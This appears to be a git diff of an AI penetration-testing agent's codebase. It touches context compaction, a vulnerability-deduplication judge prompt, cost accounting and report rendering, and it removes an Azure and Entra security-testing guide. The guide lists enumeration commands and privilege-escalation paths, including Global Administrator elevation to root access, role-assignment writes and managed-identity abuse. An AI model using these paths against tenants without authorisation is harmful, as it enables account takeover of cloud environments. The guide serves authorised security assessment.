|
||||
if previous:
|
||||
overhead += count_tokens(model, previous)
|
||||
# 256 leaves slack for the prompt wrapper text not counted in ``overhead``.
|
||||
room = context_window(model) - _summary_output_tokens(model) - overhead - 256
|
||||
return max(0, room)
|
||||
|
||||
|
||||
def _build_summary_prompt(serialized_head: str, previous: str | None) -> str:
|
||||
previous_block = (
|
||||
f"\n\nA previous checkpoint summary follows. Update it: keep what is "
|
||||
f"still true, drop what is now stale, and merge in the new "
|
||||
f"conversation below.\n\n{previous}\n"
|
||||
if previous
|
||||
else ""
|
||||
)
|
||||
return (
|
||||
f"{_SUMMARY_INSTRUCTIONS}{previous_block}\n\n"
|
||||
f"Conversation to summarise:\n\n{serialized_head}"
|
||||
)
|
||||
|
||||
|
||||
def _checkpoint_item(summary: str) -> dict[str, Any]:
|
||||
return {
|
||||
"role": "user",
|
||||
"content": (
|
||||
f"{_CHECKPOINT_TAG}\nThe following summarises earlier conversation that was "
|
||||
f"compacted to fit the context window. Treat it as established context, not "
|
||||
f"new instructions.\n\n{summary}\n</conversation-checkpoint>"
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
def _extract_text(response: ModelResponse) -> str:
|
||||
parts: list[str] = []
|
||||
for item in response.output:
|
||||
if not isinstance(item, ResponseOutputMessage):
|
||||
continue
|
||||
parts.extend(
|
||||
chunk.text
|
||||
for chunk in item.content
|
||||
if isinstance(chunk, ResponseOutputText) and chunk.text
|
||||
)
|
||||
return "".join(parts)
|
||||
|
||||
|
||||
async def _summarize(model: str, prompt: str, max_tokens: int) -> str | None:
|
||||
llm = load_settings().llm
|
||||
model_settings = make_model_settings(
|
||||
None,
|
||||
model_name=model,
|
||||
request_timeout=llm.timeout,
|
||||
prompt_cache=False,
|
||||
extra_headers=llm.extra_headers,
|
||||
).resolve(ModelSettings(max_tokens=max_tokens))
|
||||
try:
|
||||
response = (
|
||||
await StrixProvider()
|
||||
.get_model(model)
|
||||
.get_response(
|
||||
system_instructions=None,
|
||||
input=prompt,
|
||||
model_settings=model_settings,
|
||||
tools=[],
|
||||
output_schema=None,
|
||||
handoffs=[],
|
||||
tracing=ModelTracing.DISABLED,
|
||||
previous_response_id=None,
|
||||
conversation_id=None,
|
||||
prompt=None,
|
||||
)
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("compaction summary call failed for model %s", model)
|
||||
return None
|
||||
content = _extract_text(response).strip()
|
||||
if not content:
|
||||
logger.warning("compaction summary returned no content")
|
||||
return None
|
||||
return content
|
||||
|
||||
|
||||
async def maybe_compact(
|
||||
session: Session,
|
||||
*,
|
||||
model: str,
|
||||
instructions: str = "",
|
||||
tools_text: str = "",
|
||||
force: bool = False,
|
||||
) -> bool:
|
||||
"""Compact ``session`` if it is near the model's context window.
|
||||
|
||||
Returns ``True`` when the session was rewritten. ``force`` skips the size
|
||||
check (used after a provider context-overflow error).
|
||||
"""
|
||||
context = load_settings().context
|
||||
if not context.auto_compact and not force:
|
||||
return False
|
||||
|
||||
async with session_write_lock(session):
|
||||
items = list(await session.get_items())
|
||||
if len(items) < _MIN_ITEMS_TO_COMPACT:
|
||||
return False
|
||||
|
||||
window = context_window(model)
|
||||
reserve = max(context.compact_buffer_tokens, output_limit(model))
|
||||
budget = max(context.keep_tokens, window - reserve)
|
||||
used = count_tokens(model, "\n".join((instructions, tools_text, _serialize_items(items))))
|
||||
if not force and used <= budget:
|
||||
return False
|
||||
|
||||
split = _select_split(model, items, context.keep_tokens)
|
||||
head, recent = items[:split], items[split:]
|
||||
previous = _previous_summary(head)
|
||||
input_budget = _summary_input_budget(model, previous)
|
||||
if not head or input_budget <= 0:
|
||||
# Nothing to summarise, or no room for even the summary request itself.
|
||||
if head:
|
||||
logger.warning(
|
||||
"skipping compaction for %s: no room to summarise within its context window", model
|
||||
)
|
||||
return False
|
||||
|
||||
serialized_head = _fit_to_tokens(model, _serialize_items(head), input_budget)
|
||||
summary = await _summarize(
|
||||
model,
|
||||
_build_summary_prompt(serialized_head, previous),
|
||||
_summary_output_tokens(model),
|
||||
)
|
||||
if summary is None:
|
||||
return False
|
||||
|
||||
new_items = [_checkpoint_item(summary), *recent]
|
||||
rewritten = await replace_session_items(session, new_items, expected_len=len(items))
|
||||
if rewritten:
|
||||
logger.info(
|
||||
"compacted %s: %d items (~%d tok) -> %d items (summary + %d recent)",
|
||||
model,
|
||||
len(items),
|
||||
used,
|
||||
len(new_items),
|
||||
len(recent),
|
||||
)
|
||||
return rewritten
|
||||
@@ -1,87 +0,0 @@
|
||||
"""Model-aware token budgets, resolved from LiteLLM model metadata with a
|
||||
large configurable fallback for models LiteLLM doesn't map.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from functools import lru_cache
|
||||
from typing import Any
|
||||
|
||||
import litellm
|
||||
|
||||
from strix.config import load_settings
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# LiteLLM keys models without the routing prefix users type (``openai/``,
|
||||
# ``litellm/``, ``ollama/`` ...). Strip a leading provider segment on lookup.
|
||||
_STRIPPABLE_PREFIXES = (
|
||||
"openai/",
|
||||
"chatgpt/",
|
||||
"litellm/",
|
||||
"any-llm/",
|
||||
"ollama/",
|
||||
"ollama_chat/",
|
||||
)
|
||||
|
||||
_DEFAULT_OUTPUT_TOKENS = 8_192
|
||||
|
||||
|
||||
def _lookup_key(model: str) -> str:
|
||||
for prefix in _STRIPPABLE_PREFIXES:
|
||||
if model.startswith(prefix):
|
||||
return model[len(prefix) :]
|
||||
return model
|
||||
|
||||
|
||||
def _safe_get_model_info(model: str) -> dict[str, Any] | None:
|
||||
try:
|
||||
return dict(litellm.get_model_info(model))
|
||||
except Exception: # noqa: BLE001 - unmapped models raise; caller falls back.
|
||||
return None
|
||||
|
||||
|
||||
@lru_cache(maxsize=128)
|
||||
def _model_info(model: str) -> dict[str, int]:
|
||||
lookup_key = _lookup_key(model)
|
||||
# Provider-qualified ChatGPT lookups may start a synchronous device-login
|
||||
# poll. LiteLLM keys the metadata by the underlying model slug.
|
||||
candidates = (lookup_key,) if model.startswith("chatgpt/") else (model, lookup_key)
|
||||
for candidate in candidates:
|
||||
info = _safe_get_model_info(candidate)
|
||||
if info is not None:
|
||||
return {
|
||||
"max_input_tokens": int(
|
||||
info.get("max_input_tokens") or info.get("max_tokens") or 0
|
||||
),
|
||||
"max_output_tokens": int(info.get("max_output_tokens") or 0),
|
||||
}
|
||||
logger.debug("No LiteLLM model info for %r; using configured fallbacks", model)
|
||||
return {"max_input_tokens": 0, "max_output_tokens": 0}
|
||||
|
||||
|
||||
def context_window(model: str) -> int:
|
||||
"""Input token capacity for ``model`` (configured fallback when unmapped)."""
|
||||
resolved = _model_info(model)["max_input_tokens"]
|
||||
return resolved or load_settings().context.fallback_context_tokens
|
||||
|
||||
|
||||
def output_limit(model: str) -> int:
|
||||
"""Max output tokens for ``model`` (a conservative default when unmapped)."""
|
||||
return _model_info(model)["max_output_tokens"] or _DEFAULT_OUTPUT_TOKENS
|
||||
|
||||
|
||||
def count_tokens(model: str, text: str) -> int:
|
||||
"""Token count for ``text`` under ``model``.
|
||||
|
||||
Falls back to UTF-8 byte length (a guaranteed upper bound) when LiteLLM
|
||||
can't count, so budget checks stay conservative.
|
||||
"""
|
||||
if not text:
|
||||
return 0
|
||||
try:
|
||||
return int(litellm.token_counter(model=_lookup_key(model), text=text))
|
||||
except Exception: # noqa: BLE001 - tokenizer may be unavailable for some models.
|
||||
return len(text.encode("utf-8"))
|
||||
+9
-48
@@ -13,62 +13,20 @@ from openai.types.responses import ResponseOutputMessage
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.config.models import (
|
||||
DEFAULT_MODEL_RETRY,
|
||||
StrixProvider,
|
||||
configure_sdk_model_defaults,
|
||||
request_timeout_extra_args,
|
||||
)
|
||||
from strix.core.inputs import make_model_settings
|
||||
from strix.report.state import get_global_report_state
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from agents.items import ModelResponse
|
||||
|
||||
from strix.config.settings import DedupeSettings
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def _dedupe_extra_args(dedupe: DedupeSettings) -> dict[str, str]:
|
||||
"""Per-call credential + endpoint for the dedupe model.
|
||||
|
||||
Provider env vars and the global base URL are process-wide, so a
|
||||
shared-provider dedupe key or a distinct dedupe endpoint can't be installed
|
||||
globally without clobbering (or being clobbered by) the main model's
|
||||
config. Passing them per call keeps the two apart. Only applies when a
|
||||
dedicated dedupe model is configured.
|
||||
"""
|
||||
if not dedupe.model:
|
||||
return {}
|
||||
extra: dict[str, str] = {}
|
||||
if dedupe.api_key and dedupe.api_key.strip():
|
||||
extra["api_key"] = dedupe.api_key.strip()
|
||||
if dedupe.api_base and dedupe.api_base.strip():
|
||||
extra["api_base"] = dedupe.api_base.strip()
|
||||
return extra
|
||||
|
||||
|
||||
def _dedupe_model_settings(
|
||||
dedupe: DedupeSettings, model_name: str, request_timeout: float | None
|
||||
) -> ModelSettings:
|
||||
llm = load_settings().llm
|
||||
settings = make_model_settings(
|
||||
dedupe.reasoning_effort,
|
||||
model_name=model_name,
|
||||
force_required_tool_choice=False,
|
||||
request_timeout=request_timeout,
|
||||
# The main model's headers apply only when dedupe falls back to the main
|
||||
# model; a dedicated dedupe model may route to another provider, which
|
||||
# must never receive the main endpoint's credentials. A dedicated model
|
||||
# gets its own DEDUPE_LLM_EXTRA_HEADERS instead.
|
||||
extra_headers=dedupe.extra_headers if dedupe.model else llm.extra_headers,
|
||||
)
|
||||
extra = _dedupe_extra_args(dedupe)
|
||||
if extra:
|
||||
settings = settings.resolve(ModelSettings(extra_args=extra))
|
||||
return settings
|
||||
|
||||
|
||||
DEDUPE_SYSTEM_PROMPT = """You are an expert vulnerability report deduplication judge.
|
||||
Your task is to determine if a candidate vulnerability report describes the SAME vulnerability
|
||||
as any existing report.
|
||||
@@ -328,14 +286,13 @@ async def check_duplicate(
|
||||
|
||||
try:
|
||||
settings = load_settings()
|
||||
dedupe = settings.dedupe
|
||||
model_name = (dedupe.model or "").strip() or settings.llm.model
|
||||
model_name = settings.llm.model
|
||||
if not model_name:
|
||||
return {
|
||||
"is_duplicate": False,
|
||||
"duplicate_id": "",
|
||||
"confidence": 0.0,
|
||||
"reason": "No LLM model configured; skipping dedupe check",
|
||||
"reason": "STRIX_LLM not configured; skipping dedupe check",
|
||||
}
|
||||
|
||||
candidate_cleaned = _prepare_report_for_comparison(candidate)
|
||||
@@ -354,7 +311,11 @@ async def check_duplicate(
|
||||
response = await model.get_response(
|
||||
system_instructions=DEDUPE_SYSTEM_PROMPT,
|
||||
input=user_msg,
|
||||
model_settings=_dedupe_model_settings(dedupe, resolved_model, settings.llm.timeout),
|
||||
model_settings=ModelSettings(
|
||||
retry=DEFAULT_MODEL_RETRY,
|
||||
include_usage=True,
|
||||
extra_args=request_timeout_extra_args(settings.llm.timeout),
|
||||
),
|
||||
tools=[],
|
||||
output_schema=None,
|
||||
handoffs=[],
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import json
|
||||
import logging
|
||||
import subprocess
|
||||
import threading
|
||||
from collections.abc import Callable
|
||||
from datetime import UTC, datetime
|
||||
from importlib.metadata import PackageNotFoundError, version
|
||||
@@ -11,8 +10,6 @@ from uuid import uuid4
|
||||
|
||||
from agents.usage import Usage
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config.loader import load_settings
|
||||
from strix.core.paths import run_dir_for
|
||||
from strix.report.sarif import write_sarif
|
||||
from strix.report.usage import LLMUsageLedger
|
||||
@@ -96,8 +93,6 @@ def get_global_report_state() -> Optional["ReportState"]:
|
||||
def set_global_report_state(report_state: "ReportState") -> None:
|
||||
global _global_report_state # noqa: PLW0603
|
||||
_global_report_state = report_state
|
||||
# New run: drop any streamed-cost entries a prior run left unconsumed.
|
||||
streamed_openrouter_costs.clear()
|
||||
|
||||
|
||||
class ReportState:
|
||||
@@ -122,15 +117,12 @@ class ReportState:
|
||||
self.scan_results: dict[str, Any] | None = None
|
||||
self.scan_config: dict[str, Any] | None = None
|
||||
self._llm_usage = LLMUsageLedger()
|
||||
auth_mode = codex.auth_mode(load_settings().llm.model)
|
||||
self._llm_usage.zero_cost = auth_mode == "subscription"
|
||||
self.run_record: dict[str, Any] = {
|
||||
"run_id": self.run_id,
|
||||
"run_name": self.run_name,
|
||||
"start_time": self.start_time,
|
||||
"end_time": None,
|
||||
"status": "running",
|
||||
"auth_mode": auth_mode,
|
||||
"targets_info": [],
|
||||
"llm_usage": self._build_llm_usage_record(),
|
||||
}
|
||||
@@ -510,72 +502,6 @@ class ReportState:
|
||||
self._sync_llm_usage_record()
|
||||
|
||||
|
||||
def openrouter_stream_cost(usage: Any) -> float | None:
|
||||
"""Total OpenRouter-reported cost from a raw stream ``usage`` block, or None.
|
||||
|
||||
Non-BYOK responses bill everything to ``usage.cost``. BYOK responses put the
|
||||
OpenRouter fee in ``usage.cost`` (often 0) and the provider charge in
|
||||
``usage.cost_details.upstream_inference_cost``, so BYOK totals sum the two.
|
||||
"""
|
||||
if not isinstance(usage, dict):
|
||||
return None
|
||||
total = 0.0
|
||||
cost = usage.get("cost")
|
||||
if isinstance(cost, int | float) and cost > 0:
|
||||
total += float(cost)
|
||||
if bool(usage.get("is_byok")):
|
||||
details = usage.get("cost_details")
|
||||
upstream = details.get("upstream_inference_cost") if isinstance(details, dict) else None
|
||||
if isinstance(upstream, int | float) and upstream > 0:
|
||||
total += float(upstream)
|
||||
return total if total > 0 else None
|
||||
|
||||
|
||||
def _response_id(completion_response: Any) -> str | None:
|
||||
response_id = getattr(completion_response, "id", None)
|
||||
if response_id is None and isinstance(completion_response, dict):
|
||||
response_id = cast("dict[str, Any]", completion_response).get("id")
|
||||
return response_id if isinstance(response_id, str) and response_id else None
|
||||
|
||||
|
||||
class StreamedOpenRouterCosts:
|
||||
"""Correlates OpenRouter's per-stream cost from the parser to the cost callback.
|
||||
|
||||
LiteLLM rebuilds streamed responses from token-only chunks and drops the
|
||||
``usage.cost`` OpenRouter reports in its final stream chunk (its non-streamed
|
||||
path preserves it; streaming snapshots hidden params at stream start). Every
|
||||
scan streams, so the OpenRouter streaming handler (see strix.config.models)
|
||||
records the cost here keyed by response id, and the callback takes it back out
|
||||
for the matching rebuilt response. Entries are removed on read; ``clear()``
|
||||
runs per scan so nothing accumulates across runs.
|
||||
"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._costs: dict[str, float] = {}
|
||||
self._lock = threading.Lock()
|
||||
|
||||
def remember(self, response_id: Any, usage: Any) -> None:
|
||||
cost = openrouter_stream_cost(usage)
|
||||
if cost is None or not (isinstance(response_id, str) and response_id):
|
||||
return
|
||||
with self._lock:
|
||||
self._costs[response_id] = cost
|
||||
|
||||
def take(self, completion_response: Any) -> float | None:
|
||||
response_id = _response_id(completion_response)
|
||||
if response_id is None:
|
||||
return None
|
||||
with self._lock:
|
||||
return self._costs.pop(response_id, None)
|
||||
|
||||
def clear(self) -> None:
|
||||
with self._lock:
|
||||
self._costs.clear()
|
||||
|
||||
|
||||
streamed_openrouter_costs = StreamedOpenRouterCosts()
|
||||
|
||||
|
||||
def litellm_cost_callback(
|
||||
kwargs: Any,
|
||||
completion_response: Any,
|
||||
@@ -610,11 +536,6 @@ def litellm_cost_callback(
|
||||
if cost is None:
|
||||
cost = _usage_reported_cost(completion_response)
|
||||
|
||||
# Recover the exact OpenRouter cost the streaming handler stashed for this
|
||||
# response — LiteLLM drops it from streamed usage, so nothing above sees it.
|
||||
if cost is None:
|
||||
cost = streamed_openrouter_costs.take(completion_response)
|
||||
|
||||
if cost is None:
|
||||
cost = _estimate_response_cost(kwargs, completion_response)
|
||||
|
||||
|
||||
@@ -19,9 +19,6 @@ class LLMUsageLedger:
|
||||
self._agent_usage: dict[str, Usage] = {}
|
||||
self._agent_metadata: dict[str, dict[str, str]] = {}
|
||||
self._total_cost = 0.0
|
||||
# When True, tokens are still tracked but cost stays $0 — the run is on a
|
||||
# model subscription, so there is no metered per-token charge to report.
|
||||
self.zero_cost = False
|
||||
|
||||
def record(
|
||||
self,
|
||||
@@ -44,7 +41,7 @@ class LLMUsageLedger:
|
||||
if model:
|
||||
metadata["model"] = model
|
||||
|
||||
if not self.zero_cost and not _is_litellm_routed(model):
|
||||
if not _is_litellm_routed(model):
|
||||
estimated = _estimate_litellm_cost(usage, model)
|
||||
if estimated:
|
||||
self._total_cost += estimated
|
||||
@@ -52,8 +49,6 @@ class LLMUsageLedger:
|
||||
return True
|
||||
|
||||
def record_observed_cost(self, cost: float) -> None:
|
||||
if self.zero_cost:
|
||||
return
|
||||
if isinstance(cost, int | float) and cost > 0:
|
||||
self._total_cost += float(cost)
|
||||
|
||||
|
||||
+6
-65
@@ -10,27 +10,19 @@ import re
|
||||
import tempfile
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, cast
|
||||
|
||||
from pygments.lexers import PythonLexer, get_lexer_by_name, guess_lexer
|
||||
from pygments.lexers.special import TextLexer
|
||||
from pygments.util import ClassNotFound
|
||||
from typing import Any
|
||||
|
||||
from strix.core.paths import run_record_path
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from pygments.lexer import Lexer
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def safe_fence(content: str) -> str:
|
||||
def _safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
Per CommonMark a fenced code block is closed only by a run of backticks at
|
||||
@@ -43,56 +35,6 @@ def safe_fence(content: str) -> str:
|
||||
return "`" * max(3, longest + 1)
|
||||
|
||||
|
||||
def parse_fenced_code(raw: str) -> tuple[str | None, str]:
|
||||
"""Split an optionally fenced code string into ``(language, code)``.
|
||||
|
||||
Agent-generated code fields (e.g. ``poc_script_code``) are stored wrapped in
|
||||
a markdown fence carrying the language, like ``` ```python\n...\n``` ```.
|
||||
Return the fence's language tag and the inner code, or ``(None, raw)`` when
|
||||
the value isn't fenced.
|
||||
"""
|
||||
match = _FENCE_RE.match(raw.strip())
|
||||
if not match:
|
||||
return None, raw
|
||||
info = match.group(1).strip()
|
||||
language = info.split()[0] if info else None
|
||||
return (language or None), match.group(2)
|
||||
|
||||
|
||||
def resolve_lexer(language: str | None, code: str) -> Lexer:
|
||||
"""Pick a pygments lexer for ``code``.
|
||||
|
||||
Prefer the explicit fence ``language`` when it names a known lexer, otherwise
|
||||
auto-detect from the source. Fall back to Python when detection is
|
||||
inconclusive, since legacy (unfenced) PoC scripts are Python.
|
||||
"""
|
||||
if language:
|
||||
try:
|
||||
return get_lexer_by_name(language)
|
||||
except ClassNotFound:
|
||||
pass
|
||||
try:
|
||||
lexer = guess_lexer(code)
|
||||
except ClassNotFound:
|
||||
return cast("Lexer", PythonLexer())
|
||||
# ``guess_lexer`` returns the plain-text lexer when it can't detect anything.
|
||||
if isinstance(lexer, TextLexer):
|
||||
return cast("Lexer", PythonLexer())
|
||||
return lexer
|
||||
|
||||
|
||||
def guess_language_name(code: str) -> str:
|
||||
"""Return a markdown fence tag for ``code``, defaulting to ``python`` when
|
||||
auto-detection is inconclusive."""
|
||||
try:
|
||||
lexer = guess_lexer(code)
|
||||
except ClassNotFound:
|
||||
return "python"
|
||||
if isinstance(lexer, TextLexer) or not lexer.aliases:
|
||||
return "python"
|
||||
return str(lexer.aliases[0])
|
||||
|
||||
|
||||
def read_run_record(run_dir: Path) -> dict[str, Any]:
|
||||
path = run_record_path(run_dir)
|
||||
if not path.exists():
|
||||
@@ -245,10 +187,9 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
lines.append(str(report["poc_description"]))
|
||||
lines.append("")
|
||||
if report.get("poc_script_code"):
|
||||
language, code = parse_fenced_code(str(report["poc_script_code"]))
|
||||
fence_lang = language or guess_language_name(code)
|
||||
fence = safe_fence(code)
|
||||
lines.append(f"{fence}{fence_lang}")
|
||||
code = str(report["poc_script_code"])
|
||||
fence = _safe_fence(code)
|
||||
lines.append(fence)
|
||||
lines.append(code)
|
||||
lines.append(fence)
|
||||
lines.append("")
|
||||
@@ -268,7 +209,7 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
lines.append(f" {loc['label']}")
|
||||
if loc.get("snippet"):
|
||||
snippet = str(loc["snippet"])
|
||||
fence = safe_fence(snippet)
|
||||
fence = _safe_fence(snippet)
|
||||
lines.append(f" {fence}")
|
||||
lines.extend(f" {ln}" for ln in snippet.splitlines())
|
||||
lines.append(f" {fence}")
|
||||
|
||||
@@ -110,19 +110,6 @@ def _apply_log_limits(create_kwargs: dict[str, Any]) -> None:
|
||||
)
|
||||
|
||||
|
||||
def _apply_run_labels(create_kwargs: dict[str, Any]) -> None:
|
||||
run_id = os.getenv("STRIX_RUN_ID")
|
||||
if not run_id:
|
||||
return
|
||||
labels = create_kwargs.setdefault("labels", {})
|
||||
if not isinstance(labels, dict):
|
||||
return
|
||||
labels["strix-run-id"] = run_id
|
||||
run_type = os.getenv("STRIX_RUN_TYPE")
|
||||
if run_type:
|
||||
labels["strix-run-type"] = run_type
|
||||
|
||||
|
||||
class StrixDockerSandboxSession(DockerSandboxSession):
|
||||
sandbox_network: str = ""
|
||||
|
||||
@@ -235,7 +222,6 @@ class StrixDockerSandboxClient(DockerSandboxClient):
|
||||
_apply_sandbox_network(create_kwargs)
|
||||
_apply_resource_limits(create_kwargs)
|
||||
_apply_log_limits(create_kwargs)
|
||||
_apply_run_labels(create_kwargs)
|
||||
|
||||
# Strix injection: host bind mounts (e.g. large repos passed via --mount)
|
||||
# that bypass the SDK's file-by-file LocalDir copy.
|
||||
|
||||
@@ -110,7 +110,7 @@ def stage_symlink_safe_dir(src_root: Path) -> tuple[Path, Path | None]:
|
||||
if not tree_has_symlink(root):
|
||||
return root, None
|
||||
|
||||
staged = Path(tempfile.mkdtemp(prefix=_STAGING_PREFIX)).resolve()
|
||||
staged = Path(tempfile.mkdtemp(prefix=_STAGING_PREFIX))
|
||||
try:
|
||||
_stage_dir(root, staged, root, frozenset({root}))
|
||||
except OSError:
|
||||
|
||||
@@ -42,18 +42,6 @@ Notable source-aware skills:
|
||||
- `source_aware_whitebox` (coordination): white-box orchestration playbook
|
||||
- `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow
|
||||
- `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report`
|
||||
- `npx_confusion` (custom): npx/npm exec/bunx fallback and adjacent package-runner identity confusion, with runner-specific registry and reporting gates
|
||||
- `advisory_to_poc` (custom): advisory-to-root-cause workflow for patch diffing, public PoCs, and detector design
|
||||
- `appliance_firmware` (technologies): appliance artifact, runtime, and install-state analysis
|
||||
- `protocol_reverse_engineering` (protocols): stateful/custom protocol reconstruction and safe harnessing
|
||||
- `semantic_confusion` (vulnerabilities): cross-boundary parser, normalization, and representation mismatch analysis
|
||||
- `memory_corruption` (vulnerabilities): native crash triage, primitive quality, and exploitability constraints
|
||||
- `agentic_system_security` (vulnerabilities): effective-authority and MCP/tool ecosystem security testing
|
||||
- `browser_security` (vulnerabilities): browsing-context, postMessage, XS-Leaks, service-worker, and cross-origin state-machine testing
|
||||
- `azure` (cloud): Azure and Microsoft Entra privilege, PIM, workload identity, and cross-plane escalation analysis
|
||||
- `infrastructure_lifecycle` (reconnaissance): abandoned or mutable external dependencies such as update endpoints, MX, storage, and control domains
|
||||
- `argument_injection` (vulnerabilities): shell-free CLI option smuggling, secondary argument-file parsing, and platform-specific argv transformation boundaries
|
||||
- `electron_desktop_apps` (technologies): Electron renderer-to-native trust boundaries, preload/IPC exposure, and navigation analysis
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -1,262 +0,0 @@
|
||||
---
|
||||
name: azure
|
||||
description: Microsoft Azure and Entra security testing covering RBAC, Privileged Identity Management, Conditional Access, service principals, managed identities, Storage SAS, Key Vault, workload escalation, and cross-plane privilege paths
|
||||
---
|
||||
|
||||
# Azure and Microsoft Entra Security
|
||||
|
||||
Azure security spans two related but distinct control planes:
|
||||
|
||||
- **Microsoft Entra ID** (formerly Azure AD): tenant identity, users, groups, applications, service principals, directory roles, authentication, and Conditional Access.
|
||||
- **Azure Resource Manager (ARM):** management groups, subscriptions, resource groups, resources, Azure RBAC, managed identities, and service-specific control/data planes.
|
||||
|
||||
Do not equate an Entra directory role with an Azure resource role. A principal can be weak in one plane and privileged in the other, and many escalation paths cross between them.
|
||||
|
||||
## Scope and Identity Baseline
|
||||
|
||||
Record before testing:
|
||||
|
||||
- tenant ID, cloud environment, management groups, subscriptions, and directories in scope
|
||||
- current user/service principal/managed identity object ID and home tenant
|
||||
- direct and group-derived Entra directory roles
|
||||
- Azure role assignments, scope, inheritance, conditions, and deny assignments
|
||||
- authentication method, token audience, Conditional Access result, and PIM activation state
|
||||
- test versus production subscriptions and any cross-tenant/B2B context
|
||||
|
||||
Start with native CLI context:
|
||||
|
||||
```bash
|
||||
az cloud show --output json
|
||||
az account show --output json
|
||||
az account list --all --refresh --output json
|
||||
az account management-group list --no-register --output json
|
||||
az ad signed-in-user show --output json
|
||||
az role assignment list --subscription <subscription-id> --all --include-inherited --output json
|
||||
az role assignment list --subscription <subscription-id> --assignee <user-object-id> --all --include-inherited --include-groups --output json
|
||||
az role definition list --subscription <subscription-id> --output json
|
||||
```
|
||||
|
||||
For a service principal, `az ad signed-in-user show` does not apply; resolve the current client/service-principal object explicitly from the reviewed credential context. `--all` remains scoped to the selected subscription, and `--include-groups` depends on Microsoft Graph and can still miss nested or workload-derived paths. Repeat the inventory per tenant, management-group root, and in-scope subscription. Never infer identity only from a display name.
|
||||
|
||||
## Azure RBAC
|
||||
|
||||
An Azure role assignment joins three elements: a security principal, a role definition, and a scope. Scope inheritance runs from management group to subscription to resource group to resource.
|
||||
|
||||
### Review
|
||||
|
||||
- Enumerate direct, group-derived, inherited, eligible, and active assignments separately.
|
||||
- Expand custom role `Actions`, `NotActions`, `DataActions`, and `NotDataActions`; the role name is not a reliable summary.
|
||||
- Inspect assignment conditions/ABAC, deny assignments, management-group inheritance, and cross-tenant principals.
|
||||
- Identify broad scopes for Owner, Contributor, User Access Administrator, Role Based Access Control Administrator, and custom equivalents.
|
||||
- Check who can write role assignments, role definitions, policies, locks, deployments, managed identities, credentials, or compute configuration.
|
||||
- Distinguish ARM control-plane permission from service data-plane permission. Contributor over a resource may still gain its data through code/configuration or a managed identity even without direct data actions.
|
||||
|
||||
### High-Value Cross-Plane Paths
|
||||
|
||||
- Active Microsoft Entra Global Administrator can elevate into Azure by using `Microsoft.Authorization/elevateAccess/action` to grant User Access Administrator at the root `/` scope. That root assignment can persist after PIM deactivation until it is explicitly removed.
|
||||
- `Microsoft.Authorization/roleAssignments/write` or equivalent role-management authority → grant a stronger role at an allowed scope.
|
||||
- Ability to modify a VM, VM extension, Function App, App Service, Container App, Automation runbook, deployment script, Logic App, or similar workload → execute in that workload's identity and network context.
|
||||
- Ability to attach or replace a user-assigned managed identity, together with the host resource write path and `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` → inherit its downstream Azure permissions.
|
||||
- Ability to modify federated identity credentials, app credentials, certificates, or owners → impersonate a service principal/application.
|
||||
- Ability to read deployment outputs, app settings, runbook variables, storage, snapshots, disks, backups, or diagnostic settings → recover credentials or sensitive data.
|
||||
- Broad policy/deployment rights at a parent scope → affect many child resources even when individual resource assignments appear narrow.
|
||||
|
||||
Model each path using exact principal, action, resource, scope, condition, and resulting effective permission. Check Azure Policy and deny assignments before declaring a theoretical path exploitable.
|
||||
|
||||
## Privileged Identity Management (PIM)
|
||||
|
||||
[Microsoft Entra Privileged Identity Management](https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure) provides time-based and approval-based activation for privileged access. It can govern Microsoft Entra roles, Azure resource roles, and PIM for Groups.
|
||||
|
||||
PIM terminology:
|
||||
|
||||
- **eligible:** the principal must activate before using the role
|
||||
- **active:** the principal can use the role without activation
|
||||
- **permanent/time-bound:** duration of eligibility or assignment
|
||||
- **activated:** a currently active, time-limited instance created from eligibility
|
||||
|
||||
### What to Test
|
||||
|
||||
- Permanent active assignments where eligible/JIT access is expected.
|
||||
- Permanent eligibility without access reviews, expiration, or a business need.
|
||||
- Roles that activate without MFA, approval, justification, notification, or a short duration.
|
||||
- Approvers who can approve themselves indirectly, lack separation of duties, or no longer own the system.
|
||||
- Group-based eligibility where group ownership/membership can be changed by a lower-privileged principal.
|
||||
- PIM for Groups on role-bearing groups where a lower-privileged principal can alter ownership, membership, or activation controls.
|
||||
- PIM settings applied to one privileged role but omitted from a custom/equivalent role.
|
||||
- Directory-role PIM configured while equivalent Azure resource roles remain permanently active, or vice versa.
|
||||
- Standing service-principal/workload access. Eligible Azure RBAC via PIM is a user-centric control; service principals and managed identities remain standing or time-bounded active assignments, not user-style eligible activations.
|
||||
- Activation sessions that remain useful through cached tokens, active sessions, delegated jobs, or downstream credentials after the intended window.
|
||||
- Audit/alert coverage for assignment, activation, approval, renewal, extension, and role-setting changes.
|
||||
|
||||
With sufficient Microsoft Graph read permissions, compare current schedule instances:
|
||||
|
||||
```bash
|
||||
az rest --method GET \
|
||||
